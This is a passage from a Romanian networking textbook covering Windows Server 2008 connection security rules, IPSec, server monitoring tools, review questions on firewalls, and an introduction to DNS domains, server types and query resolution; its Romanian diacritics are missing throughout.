Isolation: Regula restricioneaz conectarea la un anumit calculator (deci l izoleaz) pe baza unor criterii de autentificare, precum apartenen la un domeniu sau a unor diferite politici de securitate implementate. Authentication exemption: Regula poate permite accesul fr informaii de autentificare al altor calculatoare la calculatorul propriu. Acordarea dreptului de conectare se face pe baz de adres IP. Server to server: Regula este folosit pentru a realiza o conexiune securizat ntre dou servere. Este nevoie de specificarea serverelor care vor fi implicate n conexiune i de configurarea autentificrii ce se dorete a se realiza ntre ele. Tunnel: Regul pentru controlul parametrilor unei conexiuni securizate ntre dou puncte, peste o reea public, nesecurizat. Se specific cele dou puncte ale conexiunii (endpoints) i metoda de autentificare. Custom: Regul complet configurabil.

Pentru a crea o astfel de regul se selecteaz Connection Security Rules din panoul stng i se face clic pe link-ul New Rule din panoul de aciuni, dup care se urmeaz etapele urmtoare:

238 | R e e l e L o c a l e 1. Pentru nceput, se alege tipul regulii ce se dorete a fi creat. Pentru a avea acces la toate opiunile, pentru exemplul de fa se va alege tipul Custom. 2. Urmtoare opiune cere configurarea capetelor conexiunii (endpoints). Endpoint-ul 1 poate fi calculatorul local sau o subreea de adrese IP ce pot fi atribuite calculatorului local, iar endpoint-ul 2 va fi ceallalt capt al conexiunii, specificat printr-o adres IP sau un interval.

6-6: Definirea capetelor unei conexiuni securizate


3. n pagina urmtoare se selecteaz tipul de autentificare ce va fi folosit:
o Request authentication for inbound and outbound connections: Autentificarea nu este obligatorie, dar este de preferat. Conexiunile inbound i outbound nesecurizate vor reui dar dac se dorete utilizarea unei autentificri se poate realiza acest lucru. Require authentication for inbound connections and request authentication for oubound connections: Conexiunile iniiate n exterior trebuie s fie autentificate, dar pentru cele iniiate local este opional. Require authentication for inbound and outbound connections: Att conexiunile iniiate din exterior ct i cele iniiate local trebuie autentificate, altfel regula va bloca realizarea lor. Do not authenticate: Nu este necesar autentificarea.

o o

4. n urmtoarea pagin se selecteaz metoda de autentificare folosit de regul. Opiunea Default folosete autentificarea implicit a profilului. Se mai pot selecta metode de autentificare bazate pe utilizator i calculator (ceea ce necesit apartenen la un domeniu), doar n funcie de calculator, sau pe baza unui certificat. Prin opiunea Advanced se pot specifica dou sesiuni de autentificri, secveniale, fiecare prin metodele sale. 5. Pe pagina Profile se aleg profilurile pentru care regula va fi activ. 6. n ultima pagin se introduce un nume i o descriere a profilului.

Dup creare, regula apare n lista de Connection Security Rules i i se pot modifica proprietile ca i n cazul regulilor Inbound sau Outbound.

239 | S e c u r i t a t e i m o n i t o r i z a r e

6-7: Definirea metodelor de autentificare

6.4.1.5 Configurri IPSec


IPSec (IP Security Protocol) reprezint o serie de servicii i protocoale de securitate orientate spre asigurarea confidenialitii datelor transferate n interiorul unei reele sau prin conexiuni de tip VPN. Avantajul major al IPSec este c datele pot fi securizate indiferent dac dispozitivele de pe parcurs suport sau nu aceste protocoale. Criptarea n IPSec se face separat pentru fiecare pachet iar ca metode de autentificare pot fi folosite certificatele digitale.

6-8: Setri IPSec

240 | R e e l e L o c a l e

n Windows Server 2008, setrile ce adreseaz IPSec sunt incluse n Windows Firewall i sunt accesibile la pagina IPSec Settings din cadrul ferestrei de proprieti a firewall-ului. Modificarea setrilor implicite sunt accesibile prin apsarea butonului Customize. Acestea vor afecta toate regulile de tip Connection Security Rule definite n firewall. Configurrile pentru IPSec se ncadreaz n trei categorii: schimbul de chei (key exchange), protejarea datelor (data protection) i modalitatea de autentificare (authentication method). Pentru a schimba modul n care se realizeaz schimbul de chei, se alege optiunea Advanced din grupul Key Exchange i se face clic pe butonul Customize.

6-9: Opiuni pentru schimbul de chei

6-10: Opiuni pentru protecia datelor Modul implicit folosete algoritmul Diffie-Hellman Group 2 (bazat pe o cheie public i una privat). Exist posibilitatea optrii pentru un algoritm mai puternic, ca Elliptic Curve Diffie-

241 | S e c u r i t a t e i m o n i t o r i z a r e

Hellman P-384. Trebuie avut n vedere i faptul c selectarea acestui algoritm impune clientului restricia ca acesta s ruleze cel puin Windows Vista iar serverul Windows Server 2008. Tot aici poate fi modificat i durata de via a cheilor. Teoretic, securitatea unei chei este invers proporional cu durata sa de via. Tot din fereastra principal a setrilor IPSec poate fi modificat i metoda folosit pentru asigurarea securitii datelor (criptare). Pentru aceasta se selecteaz opiunea Advanced din categoria Data protection (Quick Mode) i se apas butonul Customize. Implicit se folosesc doi algoritmi pentru a asigura integritatea i securitatea datelor: ESP i AH. Protocolul Encapsulating Security Payload (ESP) ofer autentificarea sursei datelor, integritate i protecie mpotriva atacurilor de tip replay pentru coninutul pachetelor IP. Protocolul Authentication Header (AH) ofer securitate pentru antetul IP. Ultima categorie de opiuni se refer la metoda de autentificare folosit pentru a realiza conexiuni securizate:
Computer and User (Using Kerberos V5) autentific att calculatorul ct i utilizatorul. Kerberos V5 folosete un sistem de chei sau tichete atribuite calculatoarelor din domeniu. Mesajele trimise de aceste calculatoare sunt autentificate prin tichet care este ataat n date. Computer (Using Kerberos V5) autentific doar calculatorul. User (Using Kerberos V5) autentific doar utilizatorul. Computer certificate from this certification authority necesit specificarea unui CA (Certificate Authority) iar autentificarea se face baza certificatelor digitale

6.4.2 Monitorizare
Un aspect important al administrrii oricrei reele l reprezint monitorizarea serverelor i a traficului din reea. n Windows Server 2008, monitorizarea performanei serverului este realizat de ctre utilitarul Reliability and Performance Monitor. Pe de alt parte, un alt utilitar, Event Viewer, permite monitorizarea jurnalelor meninute pentru a ajuta la identificarea problemelor ce pot aprea n funcionarea pe termen lung a serverului.

6.4.2.1 Reliability and Performance Monitor


Reliability and Performance Monitor este un utilitar ce permite monitorizarea n timp real a strii serverului att hardware ct i pe partea de aplicaii. De asemenea, el poate crea rapoarte de perfoman i alerte pentru valori critice. n mod intuitiv, performana (performance) descrie ct de repede serverul execut anumite sarcini n timp ce sigurana (reliability) este o msur a frecvenei cu care serverul execut o sarcin exact aa cum ar trebui, conform configuraiei sale. Reliability and Performance Monitor ofer o multitudine de informaii cu privire la modul n care at hardware-ul ct i software-ul funcioneaz (inclusiv sistemul de operare n sine). n general, monitorizarea performanei are ca scop identificarea elementelor care ncetinesc viteza sistemului i a motivelor pentru care acestea funcioneaz posibil necorespunztor. Pe de alt parte, situaiile neprevzute sau necontrolate, cum ar fi dispozitive care nu se iniializeaz sau se iniializeaz incorect, precum i servicii oprite sau restartate la momente necorespunztoare intr n categoria excepiilor de reliability. Toate utilitarele de diagnostic oferite de Windows Server 2008 pot fi accesate prin Server Manager, din categoria Diagnostics.

242 | R e e l e L o c a l e

6-11: Reliability and Performance Monitor n partea superioar a Reliability and Performance Monitor sunt afiate informaii sumare cu privire la ncrcarea procesorului, discului, a memoriei i a reelei. n partea inferioar, fiecare resurs este detaliat dup cum urmeaz:
CPU: Sunt afiate ocuparea procesorului (sau procesoarelor) precum i frecvena maxim. De asemenea, utilizarea sa este detaliat pentru fiecare aplicaie n parte, dupa PID, nume, numr de fire de execuie din aplicaia respectiv, procentajul din procesor folosit i ncrcarea medie de-a lungul timpului. Disk: Este afiat fluxul total de date la citire/scriere din secunda curent. Statisticile detaliate pentru fiecare proces cu privire la utilizarea discului, cuprind: numele procesului, PID-ul su, fiierul curent aflat n scriere sau citire, vitezele curente de citire i scriere prioritatea procesului respectiv pentru acces la disc i valoarea medie a timpului de rspuns al discului. Network: Este afiat traficul total prin interfeele de reea la momentul curent. Pentru fiecare proces, identificat prin nume i PID sunt detaliate: adresa destinaiei cu care aplicaia schimb date la momentul respectiv, datele trimise i primite i lrgimea de band total utilizat. Memory: Se afieaz global numrul de page faults1 pe secund i procentajul de memorie utilizat la momentul respectiv. Pentru fiecare proces n parte, se ine evidena: numrului de hard faults-uri pe minut, a working set-ului, adic a cantitii totale de memorie folosita de acea instan a aplicaiei, memoria partajabil, care poate fi accesat i de ctre alte aplicaii i memoria privat.

Din cadrul Reliability and Performance Monitor, utilitarul Reliability Monitor ofer o perspectiv global asupra evenimentelor din sistem ce au afectat de-a lungul timpului funcionarea sa ntr-un mod negativ.

Un page fault reprezint o situaie n care se acceseaz date din memoria virtual a unui proces dar care nu se gsesc n memoria fizic i trebuie aduse din fiierul de paginare.

243 | S e c u r i t a t e i m o n i t o r i z a r e

6.4.2.2 Performance Monitor


Performance Monitor reprezint un utilitar grafic pentru msurarea performanei sistemului i a altor calculatoare din reea. Performance Monitor scaneaz performana echipamentelor fizice, ca procesorul, discul i memoria, fiecare element ce poate fi analizat fiind considerat un obiect. Un anumit parametru ce este msurat pentru un anumit obiect este denumit un counter. Spre exemplu, pentru procesor, pot fi msurate counter-e ca procentajul utilizat sau numrul de ntreruperi pe secund. Performance Monitor poate afia informaiile sub form de grafice, n diferite configuraii. Adugarea unor noi counter-e se poate face fie din meniul contextual al graficului, fie prin butonul Add de deasupra graficului. La adugarea unui nou counter, se poate selecta maina proprie sau o alta din reea, resursa care va fi urmrit i parametrul specific (counter-ul) conform cruia se va realiza graficul.

6.4.2.3 Event Viewer


Fiecare instan a unei aciuni ce este executat ntr-un sistem este considerat un eveniment. Event Viewer, spre deosebire de alte utilitare de monitorizare, nu ofer informaiile n timp real, ci permite accesarea i interpretarea jurnalelor n care sunt trecute de-a lungul timpului detalii despre momentul i modul n care aceste evenimente au avut loc. Event Viewer poate fi accesat tot din Server Manager, de la categoria Diagnostics. Event Viewer ncadreaz jurnalele n dou categorii: Windows Logs i Application and Services Logs. Jurnalele de tip Windows Logs includ urmtoarele:
Application log: jurnal ce nregistreaz evenimentele diverselor aplicaii ce ruleaz n sistem. De regul aceste evenimente sunt controlate din codul aplicaiei. Tot aici sunt ncadrate i alertele definite n System Monitor. Security log: jurnal ce monitorizeaz evenimentele legate de drepturile de accesare a fiierelor, de autentificarea utilizatorilor, de apartenena la un domeniu, etc. Setup log: jurnal constituit din evenimentele de la instalarea i configurarea aplicaiilor. De asemenea, evenimentele legate de adugarea sau eliminarea unor roluri ale serverului, precum i eventualele erori sau avertismente din timpul acestora sunt nscrise aici. System log: jurnal ce ine evidena anumitor evenimente predefinite n Windows, cum sunt cele legate de instalarea sau funcionarea incorect a driverelor i tot ceea ce ine de servicii i performana sistemului.

Cealalt categorie de jurnale, Application and Services Logs, pstreaz informaii particulare pentru aplicaii i componente ale serverului. Aceste jurnale includ evenimente de tipul Hardware Events (instalri, erori), Internet Explorer Events i Key Management Services (evenimente legate de folosirea cheilor pentru criptarea informaiile trimise sau primite din reea). Pentru ntreinere, jurnalele pot fi golite periodic sau salvate n fiiere pe disc n diferite formate.

244 | R e e l e L o c a l e

ntrebri

1. Care dintre rotocoalele de mai jos permite un transfer sigur de fiiere? SSH-1 TFTP SCP Telnet 2. Care din echipamentele de mai jos pot fi folosite pentru a contracara atacuri? firewall-urile IDS-urile concentratoarele VPN att IDS-urile ct i firewall-urile 3. Care din protocoalele de mai jos nu are nevoie de inspectare a traficului pentru a funciona printr-un firewall? FTP IRC WWW SQL 4. De ce nu are sens urmtoarea regul?
iptables A INPUT --mac-source 01:01:01:01:01:01 j REJECT

selectarea dup adrese MAC nu se poate face pe lanul INPUT regula are sens adresa MAC este incorect nu se poate folosi REJECT cu adrese MAC 5. Ce efect are urmtoarea regul?

iptables A INPUT p icmp icmp-type echo-request s 192.168.1.0/24 m limit 3/s j ACCEPT

regula este incorect sintactic se primesc pachete ICMP de tip echo-request de la 192.168.1.0/24, dar la o rat de 3 pe secund se primesc pachete ICMP de tip echo-request de la 192.168.1.0/24 dar se scriu n log doar 3 pe secund nu se primesc pachete ICMP de tip echo-request de la 192.168.1.0/24 i se scriu n log doar 3 pe secund 6. Care din urmtoarele utilitare pot fi folosite ca i IDS-uri Snort Wireshark Iptables nat

245 | D N S

7 DNS
You know its love when you memorize her IP address to skip DNS overhead

Ce se nva din acest capitol?


Ce sunt domeniile de nume Ce sunt serverele DNS Configurarea serviciului DNS pentru clienti Configurarea BIND Configurarea rolului de server DNS pe Windows

Cine este...
Paul Mockapetris este inventatorul DNS. Mockapetris a lucrat ca manager de program la diverse companii de reelistic i Internet. Din 2003, activeaz la Institutul de tiine Informatice (ISI) de la Universitatea din California de Sud. Paul Vixie este autorul unui numr important de RFC-uri i utilitare standard UNIX. A fost creatorul serverului DNS bind i arhitectul acestuia pn la versiunea 8. Opereaz serverul rdcin L din DNS.

7.1 Protocolul DNS


Pentru a facilita accesarea resurselor in Internet este necesar existena unei asocieri ntre adresa IP a acestora i un nume uor de reinut. Asta deoarece este imposibil ca cineva s poat reine toate adresele IP folosite pe glob. La nceputul Internetului staiile erau accesate pe baza intrrilor din fiierul /etc/hosts care fceau translatarea adreselor din formatul preferat de utilizatorul uman (ex: www.wikipedia.org) n adrese IP necesare echipamentelor de reea. O dat cu creterea exploziv a dimensiunii Internetului, a devenit evident c era nevoie de o soluie care s rezolve problemele de scalabilitate. Soluia pentru aceste probleme a fost dezvoltarea unui nou protocol, Domain Name Server (DNS). Protocolul a fost dezvoltat n anii 80, propus ca RFC i adoptat apoi ca standard Internet. Dei protocolul are peste 20 de ani vechime, exist i mbuntiri i faciliti noi aduse serviciului de nume (extensii de securitate, stocarea certificatelor digitale n DNS, etc.). DNS este n esen o baz de date distribuit care asociaz diferite informatii cu domeniile DNS. Noutatea pe care o aducea DNS la vremea propunerii sale ca standard nu era att conceptul de baz de date distribuit - n sensul n care informaiile din baza de date sunt pstrate pe staii diferite - ci mai degrab faptul c i administrarea bazei de date urma s se fac distribuit.

7.1.1 Domenii DNS


Un domeniu DNS este o grupare a mai multe staii i servere ce au un sistem de administrare comun i sunt identificate de un nume unic. ntre domenii exist o legtur ierarhic. n general, un domeniu are n componen alte subdomenii i face parte dintr-un alt domeniu la rndul lui (care ar putea fi numit supradomeniu, dei termenul nu este folosit n literatura de specialitate). Aceast relaie ierarhic de incluziune poate fi cel mai simplu explicat print-un exemplu concret: subdomenii pentru domeniul pub.ro sunt cs.pub.ro, electronica.pub.ro sau acs.pub.ro, iar supradomeniul pentru pub.ro este ro. Dei ntre domenii exist aceast relaie de incluziune,

246 | R e e l e L o c a l e

trebuie reinut faptul c subdomeniile nu trebuie s aib fiecare acelai administrator ca i domeniul din care fac parte. Dup cum s-a mai spus, noutatea DNS const n posibilitatea administrrii bazei de date n mod distribuit i din aceast cauz, n general, domeniile au delegate pentru un subdomeniu un nou administrator. Datorit structurii sale ierarhice, baza de date DNS poate fi vizualizat ca un arbore multici, n care nodurile sunt domenii. De exemplu, pentru domeniile enumerate n paragraful precedent, arborele asociat este prezentat n figur.

ro

net

com

pub

roedu

netacad

cs

acs

7-1: Ierarhia DNS Dup cum se observ n figur, fiecare nod, mai puin nodul rdcin, are asociat un nume precum co, acs, pub, ro. Aceast modalitate de numire, n care nu se specific numele complet al domeniului este numit referire relativ (relative domain name). Dac se deine doar numele relativ al unui domeniu, numele complet al domeniului (fully qualified domain name FQDN) poate fi aflat prin concatenarea numelor supradomeniilor aflate n drumul de la domeniu la rdcin i folosirea punctului ca separator ntre numele domeniilor.

7.1.1.1 Domenii speciale


Principalul rol al serviciului de nume este de a asocia nume staiilor din Internet, care altfel ar fi fost identificate de adrese IP. Aceasta nseamn c serviciul DNS va trebui s ofere utilizatorilor cel puin dou operaii: rezolvare direct (resolve lookup) - aflarea adresei IP atunci cnd tim numele staiei i rezolvare invers (reverse lookup) - aflarea numelui unei staii atunci cnd tim adresa IP. Ierarhia DNS ncepe cu cteva domenii speciale, denumite TLD (top level domains). com edu gov mil org net ro, fr, eu, us domenii folosite de organizaiile comerciale domenii folosite de organizaiile educaionale domenii folosite organizaiile guvernamentale domenii folosite organizaiile militare domenii folosite organizaiile non-profit domenii ale organizaiilor ce administreaz reele mari domenii de ar

Aceste domenii sunt administrate de ctre ICANN (Internet Corporation For Assigned Names and Numbers). Ele sunt subdomenii ale unui domeniu generic, fr nume, care este rdcina ierarhiei. Toate domeniile din Internet sunt pn la urm subdomenii ale acestor domenii din vrful ierarhiei. nregistrarea unui subdomeniu .eu cost aproximativ 14 euro pe

247 | D N S

an, iar un subdomeniu .ro cost ceva mai mult de 50 USD + TVA (19%), dar este nregistrat pe via. De la 1 ianuarie 2007, persoanele fizice i juridice din Romania pot trimite cereri pentru nregistrarea de domenii .eu. Potrivit EURid (European Registry for Internet Domains), pn la data de 20 septembrie 2007, Romnia a contribuit" cu 11,851 de nume de domenii .eu active. Comparativ, locuitorii Germaniei dein 822,712 de domenii .eu, iar cei ai Republicii Cehe dein 53,830 de domenii. Dup cum s-a precizat mai sus, protocolul DNS ofer i posibilitatea de reverse-lookup. Aceast facilitate este folosit de utilitare de troubleshooting precum traceroute sau ping.Pentru a pstra o consisten n funcionare, i traducerea invers se face tot cu ajutorul unui domeniu, care poart numele de in-addr.arpa. El nu este un top-level domain i a fost creat pentru a permite rezolvare invers, din adrese IP n nume. Acesta conine subdomenii care corespund cu octeii dintr-o adres IP, n ordine invers. De exemplu, pentru adresa 141.85.37.1, cererea pentru traducerea invers se va face pentru 1.37.85.141.in-addr.arpa. n baza de date DNS acestei intrri i corespunde numele staiei.

7.1.1.2 Cereri DNS


S-a stabilit deci nevoia pentru protocolul DNS i structura ierarhiei acestuia. Ce se ntmpl ns n momentul efecturii unei cereri DNS? Cel mai adesea o cerere va fi efectuat de ctre un browser web la introducerea unei adrese URL, ca www.google.com. Clientul web va trebui s afieze coninutul paginii care se afl pe serverul HTTP referit de acest nume. Pentru a putea face acest lucru, trebuie trimis un mesaj HTTP de tip GET. Ca orice pachet ce urmeaz s fie trimis n Internet, i un mesaj HTTP va trebui s conin n antentul de nivel 3, o adres IP destinaie. Aici intervine clientul de DNS (integrat n browser) care face o cerere DNS pentru a putea afla adresa IP a serverul HTTP care servete paginile pentru domeniul www.google.com. Cererea va fi fcut ctre serverul specificat pe staie, ca fiind serverul local de DNS. Pe un sistem Linux acest server este specificat n fiierul /etc/resolv.conf. Bineneles c serverul DNS local s-ar putea s nu cunoasc adresa IP pentru www.google.com, cci dup cum s-a specificat anterior, baza de date DNS este distribuit i administrat distribuit. Cererile trimise de clienii DNS, serverelor locale poart o denumire special n terminologia DNS, i anume cereri recursive. Aceast denumire este dat de faptul c serverul DNS local este obligat s rezolve cererea indiferent dac are informaii despre ea sau nu, prin interograrea altor servere DNS. Pentru a putea simplifica protocolul, doar clienii de DNS pot face cereri recursive. Dac serverul local nu tie sa rspund cu o adres IP pentru un anumit domeniu, el va face o cerere nerecursiv la un alt server DNS remote (aceast operaie se va detalia n urmtorul subcapitol). Cererea este numit nerecursiv din cauza faptului c dac serverul remote interogat nu poate rezolva numele de domeniu, acesta va oferi un rspuns negativ (fr a mai ncerca el s ntrebe alt server de nume) alturi de un hint care s indice un alt server DNS care ar putea s traduc numele. n continuare, serverul DNS local, dei a primit un rspuns negativ, deoarece a primit anterior o cerere recursiv, va continua s ntrebe alte servere DNS remote, pn va primi un rspuns pozitiv pe care l va returna clientului. Pentru a concluziona, diferena dintre o cerere recursiv i una nerecursiv, este c prima dintre acestea va fi ntotdeauna rezolvat, pe cnd a doua, nu (poate primi rspuns negativ).

7.1.2 Tipuri de servere DNS


S-a putut observa c fiecare domeniu DNS are o entitate administrativ. Aceast entitate administrativ este un server DNS sau, conform terminologiei DNS, un server de nume.

248 | R e e l e L o c a l e

Principalul rol al serverului de nume asociat unui domeniu este de a rspunde la cereri despre staiile i serverele aflate n gestiunea sau autoritatea sa. Se spune c un server de nume este server autoritar pentru o intrare din baza de date DNS dac intrarea face parte din domeniul gestionat de serverul de nume.

Atenie! Faptul c un server este autoritar pe domeniul cs.pub.ro, nu nseamn c el nu va ncerca s rezolve o cerere recursiv pentru adresa ubuntuforums.org, ci doar faptul c adresa cs.pub.ro va putea fi tradus ntotdeauna direct de ctre el. Dup cum se va vedea n continuare, rezolvarea unui domeniu, a unui nume sau a unei adrese este un proces iterativ ce poate necesita interogarea mai multor servere DNS, i are, deci, o laten considerabil. Din aceast cauz, n general, serverele de DNS vor rspunde i la cereri care nu intr n autoritatea lor (nu fac parte din domeniul gestionat), din dou motive: acest lucru va simplifica implementarea clientului de DNS i n acelai timp se va putea folosi un cache pentru toate staiile ce folosesc acel server de nume. Astfel, clientul va trimite cererea DNS serverului indiferent dac cererea se refer la un nume din domeniul serverului sau nu; acesta va rezolva cererea fie local, dac numele face parte din domeniul su, fie prin interogarea iterativ a mai multor servere de nume, dup cum urmeaz. Odat aflat rspunsul acesta va putea fi pstrat n cache, i cererile ulterioare vor fi servite din cache. Datorit cache-ului se poate ntmpla ca modificrile operate de serverul de nume asupra poriunii sale din baza de date DNS s nu fie vizibile imediat. Aceasta datorit faptului c alte servere de nume vor folosi de obicei cache-ul pentru a ntoarce rspunsuri clienilor, rspunsuri care pot fi neactualizate. Pentru a minimiza latena propagrii schimbrilor efectuate, administratorul domeniului poate specifica durata maxim de timp pentru care un rspuns trimis poate sta n cache-ul altui server de nume. Trebuie reinut, ns, faptul c o valoare de ordinul a ctorva ore nu este exagerat, i reprezint o practic destul de comun n Internet. Pe de alt parte, modificrile n baza de date DNS nu sunt att de dese, astfel c aceast politic are sens, mai ales datorit faptului c folosirea cache-ului DNS diminueaz foarte mult latena rezolvrii numelor. Convergena DNS este unul dintre cele mai lente procese din Internet.

7.1.2.1 Server DNS Caching-only


Problema cu cererile recursive este c, n cantitate mare, pot ngreuna simitor un server DNS. De aceea, este considerat o practic bun ca un server DNS s accepte cereri doar din partea reelelor locale aflate n domeniul pentru care acest server este autoritar. Dac administratorul ar permite cereri recursive din tot Internetul, severul su ar putea fi foarte uor atacat. n concluzie, chiar dac o reea nu are un domeniu DNS (pentru c sunt folosite adrese private de exemplu), un server DNS este totui necesar, deoarece clienii DNS nu trimit dect cereri recursive, care trebuie rezolvate undeva. n plus, un server DNS este util i pentru cacheul pe care l menine. Din aceast cauz exist i servere de nume caching-only. Ele sunt servere de nume, care rezolva cereri recursive, dar care nu sunt servere autoritare pentru niciun domeniu. Not: dac un server nu este autoritar peste niciun domeniu (caching-only), nseamn c rspunsul la o cerere recursiv va fi dat ntotdeauna din cache, sau din rezultatul pozitiv al unei cereri nerecursive efectuate de serverul caching-only.

249 | D N S

7.1.2.2 Servere DNS rdcin


Serverele rdcin sunt servere de nume administrate de InterNIC, i care gestioneaz o parte din domeniile top-level. Acestea sunt cunoscute de serverele de nume n mod implicit i sunt de obicei interogate n mod nerecursiv de ctre un server local, atunci cnd acesta nu este autoritar pentru domeniul cerut i nici nu posed informaia n cache. Dac serverul rdcin nu tie s traduc cererea, va trimite serverului local un rspuns negativ, alturi de un hint care i va sugera un alt server DNS care ar putea ti s translateze numele interogat.

7.1.2.3 Servere DNS forwarder


Dac un server de nume trebuie s rspund la o cerere recursiv de la un client, acesta va ncerca mai nti s vad dac numele interogat face parte din domeniul pentru care el este autoritar. Dac acesta nu e autoritar peste domeniul cerut, va ncerca s caute intrarea respectiv n cache. n cazul n care nu o gsete n cache, serverul va trebui s fac cereri nerecursive ctre alte servere, pentru a putea realiza rezolvarea. n mod normal, serverul va interoga un server rdcin. Aici intervine noiunea de server forwarder. Un administrator poate configura pe serverul su DNS, adresa IP a unui server special care va avea un rol de forwarder pentru acesta. Mai exact, n situaia de mai sus, n loc ca serverul local s apeleze la un server rdcin, va apela mai nti la serverul forwarder pe care l are configurat. Forwarder-ul va consta de obicei dintr-un server chaching-only care va fi cu att mai bun, cu ct e folosit mai des i de mai multe servere. Dac forwarder-ul nu va reui s dea un rspuns pozitiv la cererea nerecursiv a serverului local, se va apela la un server rdcin cunoscut. Observaie: Ca s fie eficient (s aib informaie n cache), forwarder-ul va trebui s primeasc i cereri recursive.

7.1.2.4 Servere Master/Slave


Din motive de redundan i de distribuire a ncrcrii, pot exista mai multe servere autoritare pentru acelai domeniu. Cu toate acestea, doar unul dintre ele va fi server master, celelalte vor fi servere slave. Serverul master poate terge, aduga sau modifica intrri din poriunea sa din baza de date DNS. Serverele slave vor transfera la pornire informaiile de la serverul master. n continuare, periodic, serverele slave vor interoga seria bazei de date de la serverul master. Dac seria de la serverul master este mai mare dect seria curent a serverului slave, acesta va transfera din nou baza de date de la serverul master. Pentru a reduce latena propagrii schimbrilor la serverele slave, protocolul DNS prevede, de asemenea, mecanisme de notificare a serverelor slave. Atunci cnd este necesar, n general la pornirea sau repornirea serverului master, acesta poate notifica serverele slave trimindu-le seria bazei de date.

7.1.3 Tratarea unei cereri DNS


Protocolul DNS specific existena a dou tipuri de rspunsuri la cererile DNS: rspunsuri autoritare i rspunsuri neautoritare. Doar serverele ce gestioneaz un domeniu (serverele master i slave ale domeniului) pot trimite rspunsuri autoritare, i asta doar pentru staiile din domeniul gestionat.

250 | R e e l e L o c a l e

7.1.3.1 Tratarea unei cereri recursive


n continuare se vor sumariza paii principali ai procesului de tratare a unei cereri recursive:
Clientul face o cerere recursiv ctre serverul DNS local. Dac serverul este autoritar peste un domeniu, analizeaz numele interogat pentru a i da seama dac este chiar numele domeniului peste care este autoritar. n caz afirmativ, ofer un rspuns autoritar. Dac serverul nu este autoritar peste niciun domeniu sau dac nu s-a putut da un rspuns autoritar direct, se va cuta n cache-ul serverului. Binenteles c dac rspunsul este gsit n cache, acesta este oferit clientului. Dac informaia nu a fost gsit n cache se va face cel puin o cerere nerecursiv.

7.1.3.2 Tratarea unei cereri nerecursive


n cazul n care un server local nu tie s traduc o cerere recursiv, aceasta poate fi rezolvat cu ajutorul unor cereri nerecursive adresate pe rnd mai multor servere de nume. O cerere nerecursiv va ntoarce un rspuns pozitiv doar dac serverul interogat are intrarea n cache sau este autoritar pentru cerere. Altfel, serverul de nume interogat va rspunde cu un mesaj specificnd faptul c rspunsul este necunoscut i indicnd un alt server de nume. n aceast situie, serverul interogat decide dac cererea reprezint un domeniu inclus n domeniul su de autoritate sau nu, pentru a determina serverul recomandat. Se disting deci 2 cazuri:
1. Dac cererea este un domeniu inclus n domeniul serverului, se caut n cache i va fi indicat serverul pentru cel mai specific domeniu al cererii. Dac niciunul dintre domeniile specifice nu se afl n cache se va da un rspuns autoritar ce poate fi pozitiv sau negativ. Spre exemplu, dac cererea eglab.rc.cs.pub.ro ajunge la serverul autoritar pentru domeniul pub.ro, mai nti va fi cutat n cache numele complet eglab.rc.cs.pub.ro. Dac acesta nu este gsit, se va cuta rc.cs.pub.ro. Dac i aceast cutare a euat se va cuta adresa cs.pub.ro n fiierele de configuraie locale. Dac aceasta exist, rspunsul va fi pozitiv, altfel rspunsul va fi rspuns autoritar negativ. 2. Dac cererea nu este inclus n domeniul serverului interogat, acesta va indica serverul din cache pentru cel mai specific domeniu al cererii. Astfel, pentru cererea orange.csl.cmu.edu va fi cutat n cache mai nti numele complet. Dac acesta nu este gsit se va cuta csl.cmu.edu, apoi cmu.edu i n final doar domeniul edu. Dac niciuna dintre aceste cutri nu s-a ncheiat cu succes va fi indicat un server rdcin.

7.1.3.3 Exemplu de rezolvare a unei cereri


Pentru exemplificare, se consider o aplicaie ce trebuie s rezolve numele www.linux.org i c aplicaia ruleaz pe staia lemon.cs.pub.ro, care are configurat ca server de nume serverul cs.pub.ro. Paii urmai sunt:
1. Staia lemon.cs.pub.ro trimite o cerere recursiv serverului cs.pub.ro n care solicit aflarea adresei asociate numelui www.linux.org; 2. Serverul va ncepe prin a analiza apartenena numelui www.linux.org la domeniul pe care l gestioneaz; ntruct nu face parte, se trece la urmtorul pas; 3. Serverul verific existena adresei n cache; se presupune c adresa nu se gsete n cache; n acest caz se trece la pasul urmtor; 4. Dac serverul are configurat un server de forwarding, atunci va trimite o cerere nerecursiv serverului de forwarding; n caz contrar va trimite o cerere nerecursiv unuia dintre serverele rdcin; n cazul de fa, se va considera c serverul ns.pub.ro - 141.85.37.8 este configurat ca server de forwarding;

251 | D N S 5. Cererea ajunge la serverul ns.pub.ro care va cuta n cache adresa statiei www.linux.org; se presupune c adresa nu se gsete n cache; drept consecin, serverul ntoarce un rspuns negativ, specificnd ca hint serverul rdcin B.root-servers.net - 192.228.79.201; 6. Serverul cs.pub.ro va trimite cererea serverului rdcin B.root-servers.net; acesta va cuta adresa statiei www.linux.org n cache; se prespune, din nou, c nu gsete adresa n cache, astfel c va trimite un rspuns negativ iar ca hint serverul de nume asociat domeniului .org, s spunem ns.org - 216.66.41.146; 7. Serverul cs.pub.ro trimite atunci cererea serverului ns.org; acesta va cuta adresa www.linux.org n cache; se presupune c nu o va gsi; va trimite, deci, un rspuns negativ, iar ca hint serverul asociat domeniului linux.org, s spunem ns.linux.org; 8. n continuare, serverul cs.pub.ro trimite cererea serverului ns.linux.org; acesta, fiind serverul autoritar pentru zona linux.org, va cuta adresa www.linux.org n baza de date i va ntoarce un rspuns pozitiv i autoritar cu adresa IP asociat; 9. Serverul cs.pub.ro ntoarce rspunsul staiei lemon.cs.pub.ro i l introduce n cache.

Pentru a nelege mai bine, toate cererile i rspunsurile implicate n rezolvarea cererii au fost reprezentate n figura de mai jos. Cererile sunt reprezentate cu linie continu, n timp ce rspunsurile sunt reprezentate cu linie punctat. Pentru fiecare cerere sau rspuns a fost reprezentat informaia solicitat, respectiv oferit i amprenta de timp corespunztoare.

7-2: Exemplu de cerere DNS

7.1.4 Structura bazei de date DNS.


